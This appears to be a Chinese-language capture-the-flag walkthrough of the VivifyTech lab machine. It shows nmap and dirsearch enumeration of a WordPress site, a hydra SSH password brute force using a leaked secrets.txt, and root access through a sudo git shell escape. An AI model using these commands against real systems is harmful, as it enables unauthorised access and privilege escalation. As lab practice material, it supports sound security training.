信息收集

┌──(kali㉿kali)-[~]
└─$ fping -ag 192.168.9.0/24 2>/dev/null
192.168.9.119    	--主机
192.168.9.164		--靶机

个人习惯，也方便后续操作，将IP地址赋值给一个变量Iip
┌──(kali㉿kali)-[~]
└─$ ip=192.168.9.164  
                                                                                                                                                                                                                                                                              
┌──(kali㉿kali)-[~]
└─$ echo $ip                     
192.168.9.164

端口扫描

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- 192.168.9.164 --min-rate 10000
[sudo] kali 的密码：
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-29 05:27 EDT
sendto in send_ip_packet_sd: sendto(5, packet, 44, 0, 192.168.9.163, 16) => Operation not permitted
Offending packet: TCP 192.168.9.119:38222 > 192.168.9.163:64573 S ttl=58 id=33393 iplen=44  seq=1503250300 win=1024 <mss 1460>
Nmap scan report for 192.168.9.163
Host is up (0.085s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
3306/tcp  open  mysql
33060/tcp open  mysqlx
MAC Address: 08:00:27:EC:74:96 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 66.54 seconds

开放3306:masql数据库的端口和33060:mysqlx不知道33060上网了解一下

MySQL X是一种用于MySQL数据库的新协议，它支持文档存储和异步操作，通常用于实现更高级的数据库功能

端口服务信息

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sV -O -p-  $ip 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-04-29 05:48 EDT
Nmap scan report for 192.168.9.164
Host is up (0.010s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.57 ((Debian))
3306/tcp  open  mysql   MySQL (unauthorized)
33060/tcp open  mysqlx?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port33060-TCP:V=7.93%I=7%D=4/29%Time=662F6CE5%P=x86_64-pc-linux-gnu%r(N
SF:ULL,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(GenericLines,9,"\x05\0\0\0\x0b\
SF:x08\x05\x1a\0")%r(GetRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(HTTPOp
SF:tions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(RTSPRequest,9,"\x05\0\0\0\x0b
SF:\x08\x05\x1a\0")%r(RPCCheck,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSVers
SF:ionBindReqTCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(DNSStatusRequestTCP,2
SF:B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fI
SF:nvalid\x20message\"\x05HY000")%r(Help,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")
SF:%r(SSLSessionReq,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01
SF:\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY000")%r(TerminalServerCookie
SF:,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TLSSessionReq,2B,"\x05\0\0\0\x0b\x
SF:08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"
SF:\x05HY000")%r(Kerberos,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(SMBProgNeg,9
SF:,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(X11Probe,2B,"\x05\0\0\0\x0b\x08\x05\
SF:x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\x05HY0
SF:00")%r(FourOhFourRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LPDString,
SF:9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LDAPSearchReq,2B,"\x05\0\0\0\x0b\x0
SF:8\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x0fInvalid\x20message\"\
SF:x05HY000")%r(LDAPBindReq,46,"\x05\0\0\0\x0b\x08\x05\x1a\x009\0\0\0\x01\
SF:x08\x01\x10\x88'\x1a\*Parse\x20error\x20unserializing\x20protobuf\x20me
SF:ssage\"\x05HY000")%r(SIPOptions,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(LAN
SF:Desk-RC,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(TerminalServer,9,"\x05\0\0\
SF:0\x0b\x08\x05\x1a\0")%r(NCP,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(NotesRP
SF:C,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10\x88'\x1a\x
SF:0fInvalid\x20message\"\x05HY000")%r(JavaRMI,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(WMSRequest,9,"\x05\0\0\0\x0b\x08\x05\x1a\0")%r(oracle-tns,32,"
SF:\x05\0\0\0\x0b\x08\x05\x1a\0%\0\0\0\x01\x08\x01\x10\x88'\x1a\x16Invalid
SF:\x20message-frame\.\"\x05HY000")%r(ms-sql-s,9,"\x05\0\0\0\x0b\x08\x05\x
SF:1a\0")%r(afp,2B,"\x05\0\0\0\x0b\x08\x05\x1a\0\x1e\0\0\0\x01\x08\x01\x10
SF:\x88'\x1a\x0fInvalid\x20message\"\x05HY000");
MAC Address: 08:00:27:EC:74:96 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.86 seconds

80端口如图，扫目录

目录扫描

┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://192.168.9.164 -x 500,404

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.9.164/_24-04-29_05-53-24.txt

Target: http://192.168.9.164/

[05:53:24] Starting: 
[05:53:27] 403 -  278B  - /.ht_wsr.txt                                      
[05:53:27] 403 -  278B  - /.htaccess.orig                                   
[05:53:27] 403 -  278B  - /.htaccess.bak1
[05:53:27] 403 -  278B  - /.htaccess.save
[05:53:27] 403 -  278B  - /.htaccess.sample                                 
[05:53:27] 403 -  278B  - /.htaccess_sc
[05:53:27] 403 -  278B  - /.htaccessOLD
[05:53:27] 403 -  278B  - /.htm
[05:53:27] 403 -  278B  - /.htaccess_orig                                   
[05:53:27] 403 -  278B  - /.htaccessOLD2                                    
[05:53:27] 403 -  278B  - /.htaccess_extra                                  
[05:53:27] 403 -  278B  - /.htaccessBAK                                     
[05:53:27] 403 -  278B  - /.html
[05:53:27] 403 -  278B  - /.htpasswds                                       
[05:53:27] 403 -  278B  - /.httr-oauth                                      
[05:53:28] 403 -  278B  - /.htpasswd_test                                   
[05:53:29] 403 -  278B  - /.php                                             
[05:54:28] 403 -  278B  - /server-status                                    
[05:54:28] 403 -  278B  - /server-status/                                   
[05:54:49] 200 -    2KB - /wordpress/wp-login.php                            
[05:54:50] 200 -   14KB - /wordpress/
Task Completed

扫到一个wordpress目录，还有登录页面


一看就是wordpress的cms，在扫描一下

┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://192.168.9.164/wordpress/                              
[sudo] kali 的密码：

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/reports/http_192.168.9.164/_wordpress__24-04-29_06-17-53.txt

Target: http://192.168.9.164/
。。。                         
[06:18:33] 301 -    0B  - /wordpress/index.php  ->  http://192.168.9.164/wordpress/
[06:18:34] 404 -   55KB - /wordpress/index.php/login/                       
[06:18:37] 200 -    7KB - /wordpress/license.txt                            
[06:18:54] 200 -    3KB - /wordpress/readme.html                            
[06:19:16] 301 -  327B  - /wordpress/wp-admin  ->  http://192.168.9.164/wordpress/wp-admin/
[06:19:16] 400 -    1B  - /wordpress/wp-admin/admin-ajax.php                
[06:19:16] 409 -    3KB - /wordpress/wp-admin/setup-config.php              
[06:19:16] 200 -    0B  - /wordpress/wp-config.php                          
[06:19:16] 200 -  498B  - /wordpress/wp-admin/install.php                   
[06:19:16] 302 -    0B  - /wordpress/wp-admin/  ->  http://192.168.9.164/wordpress/wp-login.php?redirect_to=http%3A%2F%2F192.168.9.164%2Fwordpress%2Fwp-admin%2F&reauth=1
[06:19:16] 301 -  329B  - /wordpress/wp-content  ->  http://192.168.9.164/wordpress/wp-content/
[06:19:16] 200 -    0B  - /wordpress/wp-content/                            
[06:19:16] 200 -   84B  - /wordpress/wp-content/plugins/akismet/akismet.php 
[06:19:16] 500 -    0B  - /wordpress/wp-content/plugins/hello.php           
[06:19:16] 200 -  422B  - /wordpress/wp-content/upgrade/                    
[06:19:16] 200 -  483B  - /wordpress/wp-content/uploads/
[06:19:17] 301 -  330B  - /wordpress/wp-includes  ->  http://192.168.9.164/wordpress/wp-includes/
[06:19:17] 200 -    5KB - /wordpress/wp-includes/                           
[06:19:17] 200 -    0B  - /wordpress/wp-cron.php                            
[06:19:17] 200 -    2KB - /wordpress/wp-login.php
[06:19:17] 200 -    0B  - /wordpress/wp-includes/rss-functions.php          
[06:19:17] 302 -    0B  - /wordpress/wp-signup.php  ->  http://192.168.9.164/wordpress/wp-login.php?action=register
[06:19:17] 405 -   42B  - /wordpress/xmlrpc.php 

发现很多的200，一个一个的访问

在 http://192.168.9.164/wordpress/wp-includes/中发现目录遍历

在所有的.php文件中要么时空白页面被解析，要么不能访问，终于找到一个
http://192.168.9.164/wordpress/wp-includes/secrets.txt，文本文件，应该是用户名的密码，但是user在哪，不知道

看了老外的文章，找到了user用户。。。。英文不好一大冰，每每遇到English，就会自动跳过

爆破hydra–ssh

先下载密码
┌──(kali㉿kali)-[~]
└─$ wget http://192.168.9.164/wordpress/wp-includes/secrets.txt
--2024-04-29 06:46:52--  http://192.168.9.164/wordpress/wp-includes/secrets.txt
正在连接 192.168.9.164:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：439 [text/plain]
正在保存至: “secrets.txt”

secrets.txt                                                            100%[=========================================================================================================================================================================>]     439  --.-KB/s  用时 0s      

2024-04-29 06:46:52 (14.1 MB/s) - 已保存 “secrets.txt” [439/439])

创建用户列表

sarah
mark
emily
jake
alex

┌──(kali㉿kali)-[~]
└─$ sudo hydra -L user.txt -P secrets.txt $ip ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-29 06:53:36
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 240 login tries (l:5/p:48), ~15 tries per task
[DATA] attacking ssh://192.168.9.164:22/
[22][ssh] host: 192.168.9.164   login: sarah   password: bohicon
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-29 06:54:28

得到账号密码sarah ：bohicon
成功登录

┌──(kali㉿kali)-[~]
└─$ ssh sarah@$ip                                
The authenticity of host '192.168.9.164 (192.168.9.164)' can't be established.
ED25519 key fingerprint is SHA256:i4eLII3uzJGiSMrTFLLAnrihC0r7/y6uuO7YMmGF7Rs.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.164' (ED25519) to the list of known hosts.
sarah@192.168.9.164's password: 
Linux VivifyTech 6.1.0-13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.55-1 (2023-09-29) x86_64
#######################################
 # 	Welcome to VivifyTech !      #
 # 	The place to be :)	     #
#######################################
Last login: Tue Dec  5 17:54:16 2023 from 192.168.177.129
sarah@VivifyTech:~$ sudo -l
[sudo] password for sarah: 
Sorry, user sarah may not run sudo on VivifyTech.
sarah@VivifyTech:~$ whoami
sarah
sarah@VivifyTech:~$ ls -al
total 32
drwx------ 4 sarah sarah 4096 Dec  5 17:53 .
drwxr-xr-x 6 root  root  4096 Dec  5 16:00 ..
-rw------- 1 sarah sarah    0 Dec  5 17:53 .bash_history
-rw-r--r-- 1 sarah sarah  245 Dec  5 17:33 .bash_logout
-rw-r--r-- 1 sarah sarah 3565 Dec  5 17:48 .bashrc
-rw------- 1 sarah sarah    0 Dec  5 17:49 .history
drwxr-xr-x 3 sarah sarah 4096 Dec  5 16:19 .local
drwxr-xr-x 2 sarah sarah 4096 Dec  5 16:19 .private
-rw-r--r-- 1 sarah sarah  807 Dec  5 15:57 .profile
-rw-r--r-- 1 sarah sarah   27 Dec  5 16:22 user.txt

转到gbodja发现是git提权

git提权

sudo git -p help config
!/bin/bash

root@VivifyTech:/home/sarah/.private# id
uid=0(root) gid=0(root) groups=0(root)
root@VivifyTech:/home/sarah/.private# cd /root
root@VivifyTech:~# ls
root.txt
root@VivifyTech:~# cat root.txt
HMV{Y4NV!7Ch3N1N_Y0u_4r3_7h3_R007_8672}